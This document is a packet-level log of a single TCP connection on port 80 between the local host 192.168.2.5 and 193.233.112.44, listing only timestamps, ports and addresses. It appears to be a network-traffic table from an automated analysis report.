Oct 3, 2024 23:17:07.299849987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.299887896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300065994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300101995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300132990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300141096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300152063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300175905 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300194025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300210953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300218105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300245047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300263882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300278902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300297022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300313950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300333977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300349951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300369978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300383091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300406933 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300417900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300430059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300452948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300472975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300487995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300506115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300542116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300836086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300869942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300892115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300903082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.300910950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.300951958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363265038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363316059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363352060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363383055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363383055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363413095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363459110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363459110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363473892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363509893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363521099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363545895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363559961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363580942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363591909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363616943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363634109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363651991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363666058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363687038 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363702059 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363722086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363735914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363756895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363775015 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363795042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363806009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363845110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363909006 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363943100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363960028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.363984108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.363991022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364017963 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364038944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364052057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364065886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364088058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364103079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364125967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364136934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364161968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364176989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364197016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364212990 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364231110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364239931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364265919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364280939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364300013 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364314079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364339113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364351034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364387989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364731073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364765882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364787102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364809036 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364818096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364851952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364875078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364886999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364901066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364922047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364938021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364955902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.364974976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.364989996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365008116 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365022898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365041971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365061045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365086079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365098953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365113020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365134001 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365166903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365175962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365175962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365200996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365209103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365252972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365681887 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365716934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365746975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365751982 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365770102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365786076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365797997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365819931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365835905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365858078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365876913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365890980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365910053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365926027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365945101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365959883 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.365979910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.365993977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366027117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366043091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366060019 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366086006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366095066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366107941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366143942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366867065 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366919994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366935968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366955042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.366955042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.366991997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367000103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367027998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367054939 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367063999 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367074966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367101908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367109060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367136955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367151022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367170095 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367189884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367203951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367213964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367238998 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367254972 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367274046 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367280006 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367310047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367325068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367346048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367360115 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367408037 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367414951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367512941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367532969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367547035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367556095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367582083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367595911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367618084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367638111 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367654085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367661953 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367688894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367707968 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367726088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.367747068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.367778063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389308929 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389354944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389391899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389451027 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389461040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389461994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389461994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389486074 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389502048 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389520884 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389533043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389555931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389563084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389595032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389597893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389627934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389636040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389663935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389667988 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389698029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389703989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389733076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389735937 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389769077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389774084 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389812946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389816999 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389846087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389861107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389882088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389898062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389913082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389935970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389947891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389957905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.389982939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.389995098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390018940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390032053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390053988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390068054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390089989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390099049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390126944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390132904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390176058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390320063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390355110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390368938 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390389919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390404940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390424967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390438080 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390460014 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390474081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390496016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390503883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390531063 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390542030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390566111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390583038 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390604973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390608072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390650034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390866041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390899897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390922070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390933037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390944004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.390968084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.390985012 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.391002893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.391009092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.391051054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453519106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453562975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453592062 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453620911 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453658104 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453659058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453695059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453727007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453728914 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453727007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453752041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453773022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453783989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453819036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453833103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453852892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453879118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453888893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453900099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453936100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.453941107 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453984976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.453994989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454019070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454034090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454073906 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454075098 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454111099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454122066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454147100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454180002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454195976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454195976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454220057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454224110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454255104 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454262018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454289913 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454309940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454324007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454333067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454377890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454396963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454417944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454420090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454453945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454466105 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454488993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454504967 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454524994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454530001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454561949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454581976 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454617023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454730988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454766035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454780102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454801083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454829931 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454835892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454853058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454870939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454881907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454905033 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454919100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454940081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454948902 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.454974890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.454988956 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455012083 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455023050 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455056906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:07.455100060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:07.455135107 CEST	80	49710	193.233.112.44	192.168.2.5
